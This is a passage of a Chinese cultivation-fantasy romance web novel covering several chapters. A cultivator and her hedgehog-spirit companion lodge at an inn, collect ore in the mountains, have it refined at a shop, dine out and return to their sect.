小刺猬还欲说什么,被裴依宁这一举动直接打回。憋着气,糖葫芦也不吃了,攥在爪心,看着宁依同客栈老板说话。 财大气粗地,裴依宁指尖落在了价格最高的房间,一晚五十枚灵石。 小刺猬看见这个数字,急得直在心里跳脚,手舞足蹈地见裴依宁不搭理她。 直接传音:【别浪费灵石,十枚灵石一晚的已经很好了。】 她们接的任务也才不过百枚灵石,只住一夜就花费过半,太不划算了。 裴依宁回音:【我有灵石。】 小刺猬:【……败家。】 “这间。”裴依宁指尖最终落在了十枚灵石一间的客房。 小刺猬悬着的心落下,虽说十枚灵石也很贵,但相较于五十枚灵石一晚,她心里舒服很多。 只顾吃山楂的小刺猬没看见,裴依宁敲了下桌面,那客栈老板登时心照不宣地换了把钥匙给面前的客人。 在裴依宁转身上楼后,原本只放了十枚灵石的桌面,在桌案下方又多了四十枚。 加一起,正好五十枚。 老板大手一挥,尽数收起。 一旁学习的小二愣愣地挠头,不解却也不敢多问。 老板“噼里啪啦”地打着算盘,眼一斜,哈笑道:“有的客人有怪癖,生怕露富被旁人知晓,刚才她敲击了五下桌面,说话时,看的也是五十枚灵石的那间……” 裴依宁揣着小刺猬上了三楼,钥匙上套了个圆形铁片,刻着房间号。 在指示下,不费吹灰之力地找到她们那间房。 小刺猬刚吃完那串糖葫芦,见她要开门,自告奋勇:“我来。” 裴依宁顺着她。 小刺猬一爪圈着锁,一爪擒着钥匙,小脑袋歪来歪去地找方向。 “咔嚓”,门锁打开。 小刺猬用力推门,将门推门一条缝,生鲜的,她的手臂不够长了。 小刺猬尴尬地退回,差点以为是人身了。 门打开,率先映入眼帘的是一扇屏风,图案锦簇却不庸俗,含着典雅高洁之感。迈步而入,内里蕴含的灵气比门外略高几分。 客栈下方竟是存着一方小型的聚灵阵,只是在外感受不到,只能进入房间才可。 小刺猬深呼吸,暗道不愧是家大客栈,十枚灵石的房间就如此,五十枚一晚的,岂不是更富丽堂皇。 它日有钱了,定要过来一试。 往里走,绕过屏风,一方四人方桌露出,四方各放在圆凳,雕刻的花纹以祥瑞为主,无形中透出华丽。 小刺猬看晃了眼。 唯一可惜的,约莫是这间房内只有一张床。 小刺猬早已从裴依宁的肩头跳下,在房间内到处乱跑,查看屋内布局。 跑了整圈,里里外外都看过,小刺猬跑到那张方桌前。 靠得过近,扬头,入目的是方桌棕黑色的纹理,小刺猬踮起下肢往后退,双爪按在圆凳镂空处,借力跳到圆凳上,又从圆凳跳到方桌上。 裴依宁正在烫茶杯,瞧她上来,将热水拿远了些,垂眸道:“可有不对的地方。” 小刺猬惊讶她竟不觉自己是乱跑:“没有,是安全的,我都嗅闻了。” 裴依宁挑起眉梢,手帕沾水,擦小刺猬的鼻子。 小刺猬不适应地吸两下。 裴依宁道:“在外,别用自己试险,”顿了顿,她凭空抽出一张符纸,“贴在房中何处都可。” 小刺猬来回翻转符纸,若有所思地点点头,直接将符纸贴在了踩着的桌面上。 裴依宁拾起滚烫的茶杯,表面的瓷釉泛着哑光,空闲的手夹起符纸,横向扔去。 “咻”的声。 符纸划破空气,牢牢钉在最近的梁柱上。 小刺猬嘴角抽搐。 裴依宁:“嗯?能钉在上面吗?看来这符纸还是不错的。” 小刺猬:“……” 真的不是本身实力的原因吗? 不过下一秒,小刺猬放弃了这个想法,宁依跟她入宗时间差不多,约莫跟她一样,是个橙灵,至于黄灵,断然不可能了。 她记得杜师姐目前是蓝灵的实力。 啊,她什么时候能突破进入黄灵。 小刺猬竟想要现在修炼了。 她问:“天黑还早,不若我们趁现在,去山头找找炼器矿石,明日退房后就可回宗门。” 裴依宁刚泡好茶,推了一杯至小刺猬前,女人端起茶杯,抿了小口。 这里的茶叶不及明越宗的醇香,茶味很淡,裴依宁又抿了口,纯当润喉了。 小刺猬学着她的样子,却发现她的爪子过小,无法拿起。 强行拿起,最后的结果大概是杯破茶倒。 双爪捧起茶杯,初碰唇,热气直直地往她脸上扑,小刺猬下意识别过头,瞥见面前女人唇边噙着的笑。 耳根瞬间红润,本准备如平日那般大口喝,此刻也知道顾及面子,细细品味。 跟白水没什么区别,泛着苦意。 小刺猬故作满意:“嗯,这茶不错。” 裴依宁掀眸,片刻后:“我那边还有些茶叶,回宗后,我给星星拿点。” 喝不出茶的好坏,甚少喝这种东西,小刺猬摆爪:“我不要。” 裴依宁弯唇:“到时再说。” 杯中茶水剩一半,裴依宁放下茶杯,小刺猬的那杯已尽数没入小刺猬的肚子中。 余下两三滴挂在杯壁上,蜿蜒往下。 “我们现在出去吧。”小刺猬见她起身,四肢撑起,跑动两步,又原路跳回圆凳,正欲再往下跳,忽而被人捏住刺。 登时动弹不得。 小刺猬扭动身体:“宁依,你做什么?” 她压着声:“你不知道,小刺猬的刺不可以捏吗?” 龙有逆鳞,小刺猬也有逆刺。 裴依宁莞尔:“对不起,星星,我以后注意。” 小刺猬背对着,看不见女人的表情,只听得对方的道歉,莫名觉得不舒服,她不扭身体了,规规矩矩地趴着,妥协:“算了,你捏吧。” 裴依宁低笑,指尖的那抹灵点已经没入小刺猬的身体,多层保护,出门在外,能更放心。 那件法衣随着小刺猬的刺炸开亦或者顺毛,贴合到小刺猬都忘记了它的存在。 出门关锁,裴依宁曲指敲锁,再次揣上小刺猬。 小刺猬威风凛凛地站在女人的肩头,裴依宁刚迈步往前,眼角的余光就扫见一只爪子跟着甩出。 好似在指挥她。 裴依宁心底发笑,倒也配合。 此地因矿山而聚,街道上最多的就是各种磨石清洗的店面,有稍大些的,还会请个炼器师在店内坐镇。 多是一品炼器师。 有请到二品炼器师坐镇的,大张旗鼓地将标语贴出,以此吸引更多散修将新得的矿石送到她们店中加工。 女人视而不见的路过,小刺猬则是新奇地望着那家请贴着大大告示的店铺:“两品炼器师是不是很厉害?” 两品炼器师炼制的器物,应该能卖很多灵石吧。 裴依宁淡淡道:“每个品阶的炼器师能力不同,即使是同品阶的,也存在品质不同。但二品炼器师,算不得多厉害。” 小刺猬想到上次去器物堂,丰寻春师姐说,为她们铸剑的最低都是七品炼器师。 这么一对比,两品炼器师的确不是很厉害。 “好像……” “二品炼器师不厉害?那几品才能入的了你的眼。”小刺猬的话被一道粗犷的声音打断。 裴依宁不悦地捏住来两指。 小刺猬寻声看去,一虎背熊腰的大汉双手环抱着一柄大刀,络腮胡自下巴蔓延,在两侧耳边的部分,被刮去,留下黑点点的胡茬。 见裴依宁不理他,大汉长刀猝然间砍破空气,破音声不断,再一睁眼,那柄大刀划过裴依宁身前两公分,留下一道残影。 大汉得意地收回大刀,重问一遍:“孤陋寡闻,二品炼器师岂是你能随意点评的。” 那家炼器店铺的门口,一道人影若隐若现,想来是眼前大汉有求于那位炼器师。以她们向那位炼器师表忠心。 不过一句话罢了,也是个小心眼的。 裴依宁不屑与他们争论,将时间浪费在这。 她扫了眼藏在店铺内的人,绕过面前的大汉。 被视而不见,大汉面子挂不住,又是挥动大刀:“去向那位炼器师道歉。” 裴依宁身形晃动,给人堪堪躲过的错觉。 小刺猬心瞬间提起,全身的刺竖起,捏着裴依宁先前给的符纸,催动体内灵气,随时准备阻挡大汉的攻击。 这个时候,现不现人形都无所谓了,保住她和宁依的小命要紧。 “哟,还有一只小刺猬,正好打打牙祭。”大汉狞笑着。 大刀引起一团团气浪,周遭路人纷纷避开。 裴依宁神色猝然冷下,冷冽的眼神直勾勾地盯着面前的人,声音依旧温柔动听,似乎还含着浅浅的笑意:“你说什么?” 小刺猬握紧爪子,佩剑随时会出现在她爪子中。 可下一秒,裴依宁转过身,长发散开,盖住小刺猬,继续往前走。 小刺猬怔愣住,刚要说话,却不见身后大汉的动静。 她扒开裴依宁的长发,扭头,身后大汉一动不动地正对着她们,一言不发,表情还是狰狞的。 怎么回事,怎么不动了?小刺猬蹙眉。 与此同时,店铺内偷窥的那位二品炼器师后背被汗水紧湿,刚刚女人的一眼,似乎穿过空间,犹如实质地打在他身上,让他脊背发凉。 他咽下口水,挥手点了一名小二:“你去看看他怎么不动了。” 是说那名大汉。 小二快速跑到大汉面前,瞳孔猛然缩小,跌坐在地。他摇摇晃晃地爬起,跌跌撞撞地跑回店铺,急促喘息着,结结巴巴说不出话。 二品炼器师心中升起不好的预感:“快说。” 惊慌下,他的声音过大,引得店铺内人纷纷看来。 小二哽住嗓子,断断续续地说:“他……他死了。” “什么。”二品炼器师骇然。 他甚至没看见女人动手,怎么会死。 “轰隆”,大汉直挺的身形轰然倒塌,那柄他引以为傲的大刀,横在他的身上。 “什么声音?” 小刺猬想要回头看,却被裴依宁递到嘴巴的蜜枣打断了动作。 裴依宁道:“东西倒地,星星不用好奇。” 小刺猬嚼着蜜枣,心下疑惑:“不过那人为何突然不动了。” 裴依宁理了下散落的长发,那根发簪可惜了:“许是被那位炼器师叫住了,”她不动声色地转移话题,“星星知道我们这次要找的矿石是什么样的吗?” 小刺猬果真被转移注意力:“任务上写了,是一种蓝紫色的矿石,表面浮粉,内里呈现颗粒状。” 裴依宁:“星星记忆很好。” 小刺猬骄傲:“那是。” 一人一刺猬入了山。 一股阴冷感顺着毛孔钻入血液,小刺猬打了个哆嗦,抱紧小爪子:“这里怎么有种冷冷的感觉。” 裴依宁道:“常年不见光,是这样的,往上走走就好了。” 她说话时,脚下步子不停。 走到阳光照到的地方,裴依宁步子慢了下去。 四周都是石头,还有其余采矿的散修,裴依宁寻了个人少的地方,大致掠过附近的矿石。 浅色瞳孔中流光转动。 小刺猬从裴依宁肩膀上跳下,翻找着石块。 哪些矿石是她们要找的,裴依宁心中有数,但她不打扰小刺猬的积极性,跟着翻动石块。 “宁依。”小刺猬激动地捧起一块巴掌大的石头,兴冲冲地跑到裴依宁面前,讨赏似地举起,“宁依,你看我找到的这块,是不是任务上说的矿石。” 表面浮着一层粉,蓝紫纹路伸出一点,若不是心细,根本发现不了。 只是这样的石头,里面能提取出的矿石含量较少。 裴依宁道:“对,就是这种。” 小刺猬尾巴都要甩起来了,将石头给了裴依宁后,行动力极强地去寻找下一块石头。 半个时辰后,累瘫了的小刺猬四仰八叉地躺在一块比她身体略大点的石头上。 裴依宁空间中大大小小数十块石头,皆是小刺猬找来的。 “星星,喝点水。”裴依宁不知从哪里摸出一只水袋,打开盖子递给小刺猬。 小刺猬没有力气:“宁依,你喂我。” 理直气壮地提出要求,但做了这么多事的小刺猬的确有理直气壮的资本。 裴依宁蹲在小刺猬身前,小心翼翼地抬起小刺猬的脑袋。 后背的刺被顺下去,不会扎到她。 她倾斜水袋。 小刺猬喉咙滚动,有几滴水因咽下不及时而打湿了嘴边的毛发。 裴依宁喂得更慢了。 小刺猬喝饱了,扭头:“不喝了。” “好。”裴依宁扭身坐在小刺猬旁边,喝了几口水。 小刺猬默默地盯着她看。 注意到她的目光,裴依宁疑惑地“嗯?”了声,“怎么了,星星,有什么不对的吗,还是……我脸上有东西?” 小刺猬摇头,欲言又止地指向裴依宁喝水的水袋。 那是她刚刚用过的。 她并不在意和宁依用同一个水袋,毕竟都是女的,她和宁依一同吃了那么多饭,同床那么多晚,对方又是她的小跟班,她自是不可能介意的。 但宁依若是介意呢。 要不要点出了,小刺猬犹豫。 可她想说的话都写满在了脸上,裴依宁只觉得有有趣,她故作不解,茫然的将水袋拿到面前:“星星,我……我好像喝了你的水。” 小刺猬:“没事,那水本来就是你带的,是我喝了你的才对。”她试探地,“宁依不嫌弃就好。” 裴依宁淡笑:“怎么会?我们那么熟了。” 小刺猬恐怕没看见,之前咬了一半的山楂,也被她吃了。 她又喝了口水。 看来宁依真的不介意,小刺猬懒懒地伸了个懒腰,短小的脖子扭动,四肢往外伸。 石头捡完,剩下的就是下山将里面的矿石提取出来。 这项事宜可以回明越宗,让器物堂的人自行提取,但本着负责任的想法,小刺猬还是决定在山下的小镇中,找个店铺提取。 毕竟来都来了,耗费不了多长时间。 下山后的小刺猬又上了裴依宁的肩膀,这里马上要成为她的专属休息地了。 小刺猬颇为不好意思地:“宁依,我一直在这趴在,你会不会难受或者不舒服?” 不等裴依宁开口,她又道:“依我们的关系,你直说就好。” 差不多的话语,被小刺猬丢了回来。 裴依宁微微一笑:“不会。” 在选择提取矿石的店铺时,一人一刺猬就近选择了那家拥有二品炼器师的店铺。 进入时,店铺内正有人在提取矿石。 见有新客,店老板笑着招呼道:“这位仙人还请稍等片刻,目前暂无人有空。” 店内的炼器师或者是帮佣都在忙碌。 唯有一人,坐在大椅上,无所事事。 是那名二品炼器师。 那名炼器师自然也是看见了裴依宁,好不容易缓下的心又被无形的手握住,额头冷汗直冒。 他还没有能力叫动如面前女人这般实力强横的存在。 “无人有空?”裴依宁声线平淡。 那二品炼器师神经一颤,急忙起身:“我……我可以。请问你有什么需要。” 向来不拿正眼看人,被请来后,整个店铺哄着的人今天竟然这么主动,语气都是从未见过的好。 “提取一样东西。”裴依宁将石头悉数拿出,“麻烦你了。” 她抬眼,柔声:“不用紧张,我相信二品炼器师的能力。” 作者有话说: 小刺猬:为什么紧张 第24章 第二十四章[VIP] 轻飘飘的两句话如同巨石压在二品炼器师的心头, 让他喘息不得。那名大汉呆立原地又轰然倒塌的模样浮现眼前。 他用力咽住喉咙,身形打颤,一时间不知如何接女人的这句话。 店老板只当他的沉默不语是摆架子摆习惯了,以至于老毛病又犯了。 但偏偏此人是他花大价钱, 好不容易请回来的, 只能打着圆场。 瞬息间,店老板脸上的错愕转变为谄媚的笑, 搓着手:“这位仙人, 您看您要不稍等片刻,那边很快就好了。我们这有上好的茶水, 还请仙人移步品鉴。” 小刺猬心觉不对,又说不上怪异之处, 加之这二品炼器师小肚鸡肠,这番冒然出声,极有可能是想贪她们的矿石。 小刺猬默默数了遍裴依宁拿出的矿石,与下山前数的别无二致。 她圆滚滚的眼珠子转动,传音给裴依宁:【宁依, 不能让这人为我们提取, 他对我们存着敌意, 指不定有坏招等着我们。换其它人或者其它店铺, 安全些。】 这种大店铺断不会自砸招牌, 但保不齐有暗地里使坏的。 裴依宁回音安抚她:【嗯, 我会注意。】 她接下店老板的话:“不了,我赶时间。” 二品炼器师攥着拳头, 指骨泛起青白色, 艰难控制脸色,余光瞥见店老板, 憋着的气一股脑的泄出几分:“我说我可以!” 尖细的声音从嗓子眼中挤出,店老板被吓得往后一跳,店内一道道视线不加掩饰地投射过来。 他登时挂不住了脸面,店老板额头青筋浮现,忍了忍,没发作。 小刺猬将一切看在眼中,那股怪异更甚。 这位炼器师的语气在惧怕些什么,只有通过提高音量,盖住其它的声音,方可稍稍换来安心。 他惧怕的是什么。小刺猬不知道。 总不会是温柔和善的宁依。 矿石很快被放入专属熔炉中。 裴依宁转身欲走,两步外的一位女子快步从她身边经过,小声道:“最好守在这,小心偷工减料。” 一句话飘过,如同错觉般,提醒裴依宁的女子转眼间走到店内一帮佣面前,询问着什么。 小刺猬探起身体,她也听见了女子的提醒,心里对女子道了谢,随后轻拽几根裴依宁垂下的秀发,引得对方注意,传音道:【我们候在这看着,总不至于在眼皮底下动手脚。】 裴依宁淡淡一笑:【他不敢。】 裴依宁到底是没走了,与其她等待炼器亦或是等待提取矿石的散修一同候在那,漫不经心地等待矿石提取。 二品炼器师脊背汗液打湿了衣衫,时不时落在后背的眼神更是让他苦不堪言。 事实上,裴依宁绝大部分的注意力都放在了小刺猬身上,无暇顾及那人的提取情况。 反观小刺猬,紧紧盯着那人,生怕辛辛苦苦捡的矿石被顺走了。 半个时辰后,拎着满满一袋子的纯粹矿石,小刺猬从裴依宁身上跳下,掂量里面的重量。 去掉不可用的部分,最终重量应有初始重量的五分之一左右。 二品炼器师瞧见小刺猬掂的重量,一口气无形松下,他可不会将一只动物放在眼中。 唯一让他有压迫感的,只有面前这位看似言笑晏晏,毫无攻击力,实则深不可测的女人。 小刺猬两只爪子举高,袋子勉强升高一点,但她过矮,又是站在地面,举不起来,袋子垂垂拉拉地拖在地上。 小刺猬:“……” 裴依宁弯腰将小刺猬连同袋子一同提到石台上。 小刺猬蹲在石台边缘,袋子悬空而下,内里的重量再无依托,无保留地落下。 小刺猬爪臂凸起,不过片刻,她转身将袋子放到石台,眉头皱着,似乎遇到了什么难事。 裴依宁有心问她:“被偷工减料了吗?” 她问得直白,此言一出,二品炼器师脸色煞白,忙道:“我……” 裴依宁不咸不淡地瞥了他眼,未出的话卡在喉咙,上下不得。 小刺猬摇摇头,没出声,仿若真的只是只宠物,她传音给裴依宁:【不少,只是比我预估的重量要多。】 她对这种东西了解不多,只能根据重量推测一二,若是少了,她可以轻易知晓这人在偷工减料,但眼下比预估的多了快一倍,总不能是这人好心,往里多塞了吧。 裴依宁打开袋子,挑起一块提取炼化出的蓝紫色晶石,流转的灵光中,雾蒙蒙地罩着一层灰色。 这是没提取干净,杂质过多导致的。 不出所料,这晶石的内里,还存着未炼化干净的石块。 重量超过一倍不止,也是正常。 裴依宁合上袋口,顺手捏起满脸沉思状,一条下肢垫起,无意识点动的小刺猬,丢到自己弯曲的小臂上。 小刺猬忽地凌空,思绪被人打断,四肢并用地挣扎两下,触及到熟悉的面料后,她老老实实地不动了,乖巧地趴在那。 再一抬头,却见那袋晶石消失在眼前。 是被裴依宁放入空间储物中了。 “多少钱?”裴依宁问。 二品炼器师本想说不收,可对上女人的目光,他颤颤巍巍地伸出两根指头。 这时附近另一位帮佣的声音透过层层人群传来:“提取矿石本就不易,您的那些块头不小,数量也不少,一百枚灵石很便宜了。” 结合二品炼器师举起的两根手指,小刺猬石化。 莫不是要收取两百枚灵石。 老天奶,她这个任务才一百枚灵石,这是要倒贴的节奏。 小刺猬嘴角抽搐,探出头往裴依宁身后看,她们距离店门约莫十几步的距离。 店门外与店内还有十数位或是手拿武器,或者巡视的打手。 想逃有点难。 在她想法百转千回,找寻出路的时候,炼器师的声音再度响起:“两枚灵石。” 小刺猬:“……” 小刺猬收回探出的身体,寻了个舒服的位置,窝回裴依宁怀中。 出了店门,小刺猬才将适才的惴惴不安提及:“吓死我了,那人举出两根手指的时候,我还以为是要两百枚灵石。我连逃跑路线都快算好了。” 裴依宁:“逃跑路线?” 怪不得小刺猬一个劲地她身后看,是在考虑这个吗? 她逗她:“具体路线是什么呢?” 小刺猬面无表情:“没找到。”话音一转,又道,“但我想到了别的解决办法。” 裴依宁:“嗯?” 小刺猬面如死灰:“在这里帮佣还钱。一个月五枚灵石,我们两个人,二十个月就能还完。” 裴依宁:“……好在只要两枚灵石。”她笑说,“不过就算真的要两百枚灵石,星星也不用在这当劳动力,我这边有多余的灵石。” 再多余也不至于有两百枚吧。 小刺猬好奇:“你们灵丹堂每月给你们多少枚灵石。” 裴依宁道:“新弟子每月三百枚,后续根据实际品阶,需求,会额外增加……” “好了,”小刺猬皮笑肉不笑地打断她,“不要说了。” 听听啊,新弟子每月三百,还有额外增加的。 那她辛辛苦苦,每个月就一百枚灵石,紧紧巴巴的过日子算什么。 为什么峰阁与峰阁间的差距这么大。 她之前给宁依灵石时,对方不要,说够,原来是真的够啊。 小刺猬被穷笑了,咧着嘴:“挺好的。” 裴依宁不知她的说的“好”,好在哪里,却也知不能多问。 昏黄的夕阳笼罩住整座小镇,一阵风刮来,路过一侧的幌子猎猎作响,活像鱼肚被撑开,弯起巨大的弧度。 风过后,幌子晃动着回归原样,蜷缩的边角展开,无声的招揽来回的人。 小刺猬收回注视的目光。 这时的街道更多了人间烟火气,夜间山中危险,进入山群中收集矿石的散修陆陆续续回来。 人声逐渐增大,等小刺猬意识到时,已经分不清具体是从什么时候开始闹腾的。 裴依宁寻着两侧店铺。 小二的揽客声,路边摊贩的叫卖声,散修交谈声……汇集在一起,裴依宁不适地蹙眉,抵了下一边耳朵,无意垂眸,怀中的小刺猬正勾着她的手臂,新奇而喜悦地望着这一幕。 这里的热闹,小刺猬似乎很喜欢。 裴依宁蹙起的眉舒展,抵住耳边的手落在小刺猬的脑袋上。 小刺猬发现了什么有趣的东西,小爪子迫切地伸出,另一只爪子因激动抓着她的衣袖:“宁依,你快看。” 裴依宁顺着她指的方向看去。 她们的对侧,赫然是一间酒楼,暖色灯光从里向外莹出,纸糊得窗户映照出里面食客的影像。 在店门口,数人熟稔地跳着风格迥异的舞蹈,力量与柔美结合,落落大方,光是看着就觉赏心悦目。 一曲舞毕,那群人皆是抱拳行礼,朝两边散开,露出酒楼的大门。 不少人进入其中。 这也是招揽客人的一种方式。 小刺猬眼中发亮,不止是对美食的向往。 裴依宁调转脚步,往酒楼而去:“忙了一日,星星饿吗?” 小刺猬诚实:“不饿,但馋。” 被店小二带到一张空桌前,一份菜单随即递来,翻开内页,文字,图片,价格一目了然。 大致扫过眼,裴依宁挡住菜单上的价格,递到小刺猬面前:“星星。” 小刺猬蹲在菜单上,从上往下,自左向右。 每张图片都过于诱人了。 “这边空隙好大,空荡荡的。”小刺猬嘟囔了句。 这么大的酒楼,菜单前两项的布局都挺好,怎么到这就空了,像是缺少了什么东西。 小刺猬灵光一闪,明白缺了什么。 价格没有贴上。 竟然没有明码标价。 黑店! 在一旁为客人倒茶的店小二忽地觉得有些奇怪,那只小刺猬怎么抬起头,好似恶狠狠地瞪了她一眼。 她只当是错觉。 这只小刺猬这么可爱,怎么会瞪人呢。 小刺猬将菜单一盖,转头对着裴依宁,愤愤不平地传音:【宁依,这家店杀客。】 亏她还觉得之前的舞蹈好看,对这间酒楼好感颇足 小刺猬将自己的发现告诉女人:【这菜单没有表明价格。】 裴依宁扬眉,不想小刺猬这般细心,指腹摩挲在一起,回音:【是吗?我看看。】 她翻开菜单看了两眼:【的确,星星好仔细。】 她将菜单递还给倒完茶后候在一边的店小二:“麻烦给我们换一份菜单。” 店小二丈二和尚摸不着头脑,也跟着翻看一眼。 被遮挡的部分早已显现,她没看出有什么不对劲的。 但客人说了,她只好照做,跟领桌空位上的菜单互换了圈,重新交给裴依宁。 裴依宁象征性翻开,摊开在桌面:【星星,这回有价格了。】 小刺猬双爪怀抱,斜侧身,眼一瞥,菜单上的数字映入眼帘。 她双爪环抱,一幅不愿再看的模样。 当真是阴阳菜单,被发现了才改。 然,再一看,上方的价格让她不由得揉了揉眼睛。 跟预想中的昂贵不同,价格十分亲民。 这样的价格,阴阳菜单好像没意义。 小刺猬丧失的好感回归,在菜单上戳了两下。 是之前宁依给她做过的菜品。 “就这样吗?”裴依宁温声问。 小刺猬点点头。 裴依宁又加了几样,才是将菜单递回。 “点的好多,会吃不完的。”店小二走后,小刺猬小声道。 裴依宁道:“可以带回去吃。” 然而,事实证明,根本不用带回去。 虽点的不少,也只有一人一刺猬,可架不住每份菜量都不多,几筷子下去就见了空。 “还好价格不高。”出来后的小刺猬摸着圆滚动肚皮感概了句。 裴依宁莞尔。 小刺猬在女人怀中翻了个身,舒服得彻底放弃了下去自己走动的念头:“不过这就酒楼的手艺没有你好。” 这个时候还不忘夸她。 “哎。”小刺猬总是想一出是一出,“我觉得以后我们可以出来开个酒楼,你出手艺,我出……”小刺猬卡壳了,“我出……” 差点忘了,她没钱。 裴依宁接过她的话:“星星可以出脑子。” 小刺猬:“可我脑子也没宁依的好。” 总觉得她在占小跟班的便宜:“今晚的饭钱,等过几日我再给你。” 裴依宁:“不用。” 小刺猬坚持:“不行,住宿费你出的,总不能饭钱再让你出,那成什么样了。” 裴依宁没再与她争。 在外面逛了圈,一人一刺猬回到客栈。 客栈提供吃食,此刻正有几桌散修拼在一起,喝酒聊天。 “听说了吗?就今天,有个人被当街……”说话的人比了个抹脖子的动作。 坐他对面的人不屑一顾:“这有什么,我们这,哪天不死人。” “这次不一样,”原先说话的那人急道,“据说没人看见是谁动的手,也不知怎么动的手,神不知鬼不觉的,等周围人回过神来时,已经七窍流血,倒地而亡了。” 随后那人报了个店铺名:“就在那家店前面。” “……” 声音渐行渐远,裴依宁揣着小刺猬上了三楼。 “宁依,我们中午好像也在那家店附近吧。”小刺猬心有余悸,“还好那人没动我们出手。” 裴依宁开门,神色平和:“我们没得罪人,为何会对我们出手。” 房门打开,裴依宁反手贴了张符纸在门上。 小刺猬从她的怀中跳下:“这倒也是。但还是要注意点。” 这间房很大,有专门开辟出的洗漱的空间,小刺猬累了一天,又在山上跑来跑去,寻找石头,刚下来还不觉有什么。 可此刻,她手脚发麻,只想好好洗个澡,然后睡觉。 “宁依,你现在洗漱吗?”小刺猬问。 裴依宁去铺床,这里的床褥被子她不放心,都换了新的:“你先,我在铺床。” 小刺猬应下,再三确认这边的房门不会轻易被外面打开后,她长长舒了口起,摇身一变,化作人形。 等小刺猬携带一身水汽而出时,裴依宁正将一枚丹药碾压成粉末状。 见她出来,裴依宁将粉末放入杯中,倒入温水:“星星,等会把这个喝了。” 小刺猬甩干水渍,跳上圆凳:“这是什么?” 裴依宁端起另一杯:“这药有安神舒缓之效,对身体好。” 小刺猬一口饮尽。 等裴依宁洗漱出来,小刺猬已经自觉睡到了床的里面。 许是出来一趟,无形中加深了一人一妖的熟稔程度,小刺猬没再向之前那样,紧紧贴着墙面。 “我们明天什么时候回去。”小刺猬平躺着,双爪搭在被面上问。 门窗紧关,外界的声音传不进来,空气中只剩下两人的呼吸声。 小刺猬的呼吸浅浅的,只有离得近的时候,裴依宁才能听见一二。 她半抬起身,将里面的那边被子塞进小刺猬的身下:“星星想什么时候回去。” 小刺猬想了想:“明天下午回去吧,早上想睡个懒觉。” 回到宗门,就不一定能再睡懒觉了。剑已到手,余下的时间,要好好修炼,提高修为。 小刺猬大脑开始放空,意识渐渐抽离,迷迷糊糊中,她听见身旁的女人很低很轻地叹了声。 “宁依……”她听见她在心里喊女人的名字,想问问对方怎么了。 可睡意袭来,怎么都张不了嘴。 在意识彻底归为虚无的时候,她听见宁依说:“星星,我什么时候能见见你。” 她不就在眼前吗? 小刺猬睡着前这般想着。 耳边的呼吸趋于平缓,小刺猬睡着了。 裴依宁转过头,一瞬不瞬地注视着熟睡中的人,浅色瞳孔中,一抹不明的情绪荡漾开来。 小刺猬至今都没有告诉她有关人形的事。 又或许说,小刺猬什么时候愿意将人身告诉她。 * 小刺猬如她前一晚所言一般,直到日上三竿,才悠悠转醒,捏着被子,像是怕被人看见般,蒙住大半个身体坐起。 裴依宁正坐在圆凳上翻阅古籍,板正的身姿,侧面露出的面容,只是看着就让刺猬心情大好。 小刺猬清醒了会,起了坏心思,蹑手蹑脚地从床上下来,借助自身优势,在各种遮挡物的掩护下,悄无声息地跑到了方桌附近。 她躲在花瓶后面,垫起爪尖,一点点往裴依宁的方向挪动。 女人毫无所觉,小刺猬升腾起隐秘的兴奋和计划得逞的得意,溜到了裴依宁坐着的圆凳后方。 她踩在圆凳一圈镂空的花纹上,一点点地往上爬。 身后独属于小刺猬的气息越发强烈,丹修灵敏的嗅觉再度发挥出好的作用。 小刺猬就在她的身后。 她凝神静气,想看小刺猬要做什么。 下一秒。 “早上好!”小刺猬大声叫道。 裴依宁别过头,猛地起身,后腰抵着方桌,似被吓到般,心有余悸地拍着胸口,灵动温婉的眸子不安眨动。 里面盛着一汪水光。 可见是被吓惨了。 那股兴奋消失,却而代之的是强烈的自责和关心,小刺猬爬上方桌,扯住裴依宁的衣袖:“宁依……你还好吗?” 裴依宁喉咙滚动,掌心死死攥着方桌一角,好似还没从惊吓中缓过神。 指尖被压到泛起一圈白边,手背上青紫色的经脉突出。 脖颈处的美人筋随着呼吸一跳一跳的。 小刺猬被吓到:“宁……宁依。” 她该不会把宁依吓坏了吧。 “星星,”原本恐惧过度的人忽地歪头一笑,“早上好啊。” 裴依宁手肘支撑在桌面,两手交叠放在一起,下巴搭在上面,整个人慵懒异常,完全找不到半点惊慌。 半趴着的姿态,将小刺猬笼罩其中:“但是,已经不早了。” 她下巴微抬,点了下早晨起来打开的窗户。 大片阳光入内,投射出不规则的形状。 小刺猬后知后觉地意识到被面前人骗了,下肢一摊:“宁依,你欺负我。” 裴依宁眨眨眼:“嗯?我欺负你?” 小刺猬握拳,为自己抱不平:“你骗我,明明没被吓到,还假装被吓坏的样子。” 裴依宁纵容:“那怎么办?” 她想了想:“那……要不你再吓我一次?” 小刺猬自知理亏,但吓人不成反被吓,怎么想怎么不对:“你什么时候发现我的。” 她难道还不够隐蔽吗? 裴依宁:“可能是靠近我的时候。” 作者有话说: 呜呜呜,来晚了,本章掉落红包 明天的更新在晚上九点,以后也都在晚九点更新哦 第25章 第二十五章[VIP] 一人一刺猬回到宗门已是日落时分, 昏黄的日落铺洒在身后,斜长的影子自脚底延伸拉长。 宗门护界结界前看守的人换了一批,可依旧对贴上隐匿符纸,趴在裴依宁肩头的小刺猬毫无反应。 照例询问了几句, 执法堂的人便是将她们放进去。 这次小刺猬清楚地看见其中一人执着的长棍不断颤动, 中间的一颗灵点漂浮至她的面前,在她周身环绕一圈, 飘回原处。 小刺猬紧张局促的身形瘫软, 爪子勾住裴依宁垂落的长发,绕上两圈。 宁依的发簪掉落后就再没找到, 泼墨长发就这般披散在身后整日,小刺猬本想用仅剩的灵石为宁依再买一支。 可找了一圈都未曾看见一家卖首饰的店铺, 要么是街道上的小贩,做工粗糙到怎么看都配不上宁依。 小刺猬把玩那几根发丝,柔软地弯曲在她的爪心,又从爪缝中滑落,叠在裴依宁的脖颈中, 顺着女人的肌肤没入衣领内。 裴依宁稍稍偏头。 小刺猬探出身子, 抓皱了裴依宁的衣衫, 捏住发丝露在外的部分, 爪心一提, 抽出, 妥帖地与其它长发一并拢在女人身后。 小刺猬道:“宁依,我们先去任务阁提交任务。” 她心中压着事, 只想先把灵石拿到手再说。 裴依宁“嗯”了声, 揣着小刺猬换了条路线,抄了条近道。 崎岖不平的山路被踩出一条小道, 堪堪够两人并肩而行。 小刺猬撕下符纸,身形显现,后肢攒着力地往前一蹦,顺利跳到棵延伸出的树枝上。 裴依宁脚步一顿,却见小刺猬已经跳到她的面前,一蹦一跳地往前走。 这条小路小刺猬第一次走,蹦跳几步,她扭过头:“宁依,你怎么知道这条路的。” 